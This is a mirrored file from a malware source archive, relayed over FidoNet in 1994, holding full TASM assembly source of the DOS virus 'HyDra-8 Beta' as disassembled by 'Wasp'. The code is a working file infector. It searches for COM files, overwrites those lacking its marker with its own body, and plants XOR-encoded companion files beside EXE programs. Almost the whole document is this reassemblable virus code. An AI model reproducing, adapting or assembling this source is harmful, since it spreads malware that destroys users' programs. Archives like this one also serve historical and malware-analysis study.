mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
267 lines
8.8 KiB
NASM
267 lines
8.8 KiB
NASM
;Ä PVT.VIRII (2:465/65.4) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PVT.VIRII Ä
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; Msg : 34 of 54
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; From : MeteO 2:5030/136 Tue 09 Nov 93 09:14
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; To : - *.* - Fri 11 Nov 94 08:10
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; Subj : HYDRA_8.ASM
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;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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;.RealName: Max Ivanov
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;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
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;* Kicked-up by MeteO (2:5030/136)
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;* Area : VIRUS (Int: ˆä®p¬ æ¨ï ® ¢¨pãá å)
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;* From : Doug Bryce, 2:283/718 (06 Nov 94 16:59)
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;* To : Brad Frazee
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;* Subj : HYDRA_8.ASM
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;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
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;@RFC-Path:
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;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
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;18.n283!not-for-mail
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;@RFC-Return-Receipt-To: Doug.Bryce@f718.n283.z2.fidonet.org
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PAGE 59,132
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;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
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;ÛÛ ÛÛ
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;ÛÛ HYDRA8 ÛÛ
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;ÛÛ ÛÛ
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;ÛÛ ÛÛ
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;ÛÛ Disassembly by: -=>Wasp<=- aka >>Night Crawler<< ÛÛ
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;ÛÛ ÛÛ
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;ÛÛ Reassemble with TASM 2.0 ÛÛ
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;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
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DATA_1E EQU 80H
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DATA_16E EQU 1EFH
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DATA_17E EQU 1F2H
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DATA_18E EQU 9D9AH
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SEG_A SEGMENT BYTE PUBLIC
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ASSUME CS:SEG_A, DS:SEG_A
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ORG 100h
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HYDRA8 PROC FAR
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START:
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JMP LOC_2 ; (01E2)
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DB 59H, 44H, 00H, 00H
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DATA_4 DB 'HyDra-8 Beta - Not For Release'
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DB '. *.CO?'
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DB 0
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DATA_7 DW 0, 84FCH
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DATA_9 DW 0
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DATA_10 DB 0
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DB 29 DUP (0)
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DATA_11 DB 0
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DB 0, 0, 0, 0, 0, 0
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DATA_12 DB 0
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DB 0, 0, 0, 0, 0, 0
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COPYRIGHT DB 'Copyright (c)'
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DB ' 1991 by C.A.V.E. '
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DATA_13 DB 2AH
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DB 2EH, 45H, 58H, 45H, 00H
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DATA_14 DB 33H
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DB 0C9H, 1EH, 52H,0E8H, 06H, 00H
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DB 0E8H, 13H, 00H,0EBH, 36H, 90H
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DB 0BEH, 48H, 01H,0BFH, 5AH, 01H
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DB 0B9H, 12H, 00H
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LOCLOOP_1:
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XOR BYTE PTR [SI],0F5H
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MOVSB ; Mov [si] to es:[di]
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LOOP LOCLOOP_1 ; Loop if cx > 0
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RETN
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MOV AX,0F00H
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INT 10H ; Video display ah=functn 0Fh
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; get state, al=mode, bh=page
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MOV AH,0
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INT 10H ; Video display ah=functn 00h
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; set display mode in al
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MOV AX,200H
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MOV DH,0CH
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MOV DL,1FH
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INT 10H ; Video display ah=functn 02h
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; set cursor location in dx
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XOR DX,DX ; Zero register
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MOV DX,OFFSET DATA_12
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MOV AH,9
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INT 21H ; DOS Services ah=function 09h
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; display char string at ds:dx
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MOV AX,200H
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MOV DH,18H
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MOV DL,0
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INT 10H ; Video display ah=functn 02h
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; set cursor location in dx
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RETN
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MOV AX,4C00H
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INT 21H ; DOS Services ah=function 4Ch
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; terminate with al=return code
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ADD [BP+SI-6563H],AH
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CMC ; Complement carry
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PUSHF ; Push flags
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XCHG DH,CH
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MOV DI,DATA_18E
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DB 9BH,0F5H,0B2H, 94H, 99H, 81H
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DB 0CAH,0D1H
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LOC_2:
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PUSH AX
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MOV AX,CS
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ADD AX,1000H
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XOR DI,DI ; Zero register
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MOV CX,1EFH
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MOV SI,OFFSET DS:[100H]
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MOV ES,AX
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REP MOVSB ; Rep when cx >0 Mov [si] to es:[di]
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MOV AH,1AH
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MOV DX,OFFSET DATA_10
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INT 21H ; DOS Services ah=function 1Ah
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; set DTA to ds:dx
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MOV AH,4EH ; 'N'
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MOV DX,OFFSET DATA_4+22H
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INT 21H ; DOS Services ah=function 4Eh
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; find 1st filenam match @ds:dx
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JC LOC_6 ; Jump if carry Set
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LOC_3:
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MOV AH,3DH ; '='
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MOV AL,2
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MOV DX,OFFSET DATA_11
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INT 21H ; DOS Services ah=function 3Dh
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; open file, al=mode,name@ds:dx
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MOV BX,AX
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PUSH ES
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POP DS
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MOV AX,3F00H
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MOV CX,0FFFFH
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MOV DX,DATA_16E
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INT 21H ; DOS Services ah=function 3Fh
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; read file, cx=bytes, to ds:dx
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ADD AX,1EFH
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MOV CS:DATA_9,AX
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CMP WORD PTR DS:DATA_17E,4459H
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JNE LOC_4 ; Jump if not equal
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MOV AH,3EH ; '>'
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INT 21H ; DOS Services ah=function 3Eh
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; close file, bx=file handle
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PUSH CS
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POP DS
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MOV AH,4FH ; 'O'
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INT 21H ; DOS Services ah=function 4Fh
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; find next filename match
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JC LOC_7 ; Jump if carry Set
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JMP SHORT LOC_3 ; (0204)
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LOC_4:
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XOR CX,CX ; Zero register
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MOV DX,CX
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MOV AX,4200H
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INT 21H ; DOS Services ah=function 42h
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; move file ptr, cx,dx=offset
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JC LOC_5 ; Jump if carry Set
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MOV AH,40H ; '@'
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XOR DX,DX ; Zero register
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MOV CX,CS:DATA_9
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INT 21H ; DOS Services ah=function 40h
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; write file cx=bytes, to ds:dx
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LOC_5:
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MOV AH,3EH ; '>'
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INT 21H ; DOS Services ah=function 3Eh
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; close file, bx=file handle
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PUSH CS
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POP DS
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LOC_6:
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MOV AH,1AH
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MOV DX,DATA_1E
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INT 21H ; DOS Services ah=function 1Ah
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; set DTA to ds:dx
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JMP SHORT LOC_10 ; (02B0)
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DB 90H
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LOC_7:
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CLC ; Clear carry flag
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XOR CX,CX ; Zero register
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PUSH DS
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PUSH DX
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MOV AH,1AH
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MOV DX,OFFSET DATA_10
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INT 21H ; DOS Services ah=function 1Ah
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; set DTA to ds:dx
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MOV DX,OFFSET DATA_13
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MOV AH,4EH ; 'N'
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XOR CX,CX ; Zero register
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INT 21H ; DOS Services ah=function 4Eh
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; find 1st filenam match @ds:dx
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JC LOC_6 ; Jump if carry Set
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LOC_8:
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MOV AH,3CH ; '<'
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XOR CX,CX ; Zero register
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MOV DX,OFFSET DATA_11
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INT 21H ; DOS Services ah=function 3Ch
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; create/truncate file @ ds:dx
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MOV BX,AX
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JC LOC_6 ; Jump if carry Set
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MOV AX,3D02H
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MOV DX,OFFSET DATA_11
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INT 21H ; DOS Services ah=function 3Dh
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; open file, al=mode,name@ds:dx
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MOV BX,AX
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CLC ; Clear carry flag
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XOR DX,DX ; Zero register
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MOV AH,40H ; '@'
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MOV DX,OFFSET DATA_14
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MOV CX,5AH
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INT 21H ; DOS Services ah=function 40h
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; write file cx=bytes, to ds:dx
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CMP AX,5AH
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JB LOC_9 ; Jump if below
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MOV AH,3EH ; '>'
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INT 21H ; DOS Services ah=function 3Eh
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; close file, bx=file handle
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JC LOC_9 ; Jump if carry Set
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MOV AH,4FH ; 'O'
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INT 21H ; DOS Services ah=function 4Fh
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; find next filename match
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JNC LOC_8 ; Jump if carry=0
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LOC_9:
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MOV AX,4C00H
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INT 21H ; DOS Services ah=function 4Ch
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; terminate with al=return code
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LOC_10:
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XOR DI,DI ; Zero register
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MOV SI,OFFSET DATA_15
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MOV CX,22H
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REP MOVSB ; Rep when cx >0 Mov [si] to es:[di]
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POP BX
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MOV CS:DATA_7,0
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MOV WORD PTR CS:DATA_7+2,ES
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POP BX
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JMP DWORD PTR CS:DATA_7
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DATA_15 DB 1EH
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DB 07H,0B9H,0FFH,0FFH,0BEH,0EFH
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DB 02H,0BFH, 00H, 01H, 2BH,0CEH
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DB 0F3H,0A4H, 2EH,0C7H, 06H, 00H
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DB 01H, 00H, 01H, 2EH, 8CH, 1EH
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DB 02H, 01H, 8BH,0C3H, 2EH,0FFH
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DB 2EH, 00H, 01H,0CDH
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DB 20H
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HYDRA8 ENDP
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SEG_A ENDS
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END START
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;-+- FidoPCB v1.4 [NR]
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; + Origin: FidoNet * Mathieu Not‚ris * Brussels-Belgium-Europe (2:283/718)
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;=============================================================================
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;
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;Yoo-hooo-oo, -!
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;
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;
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; þ The MeÂeO
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;
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;/L Specify library search paths
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;
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;--- Aidstest Null: /Kill
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; * Origin: ùPVT.ViRIIúmainúboardú / Virus Research labs. (2:5030/136)
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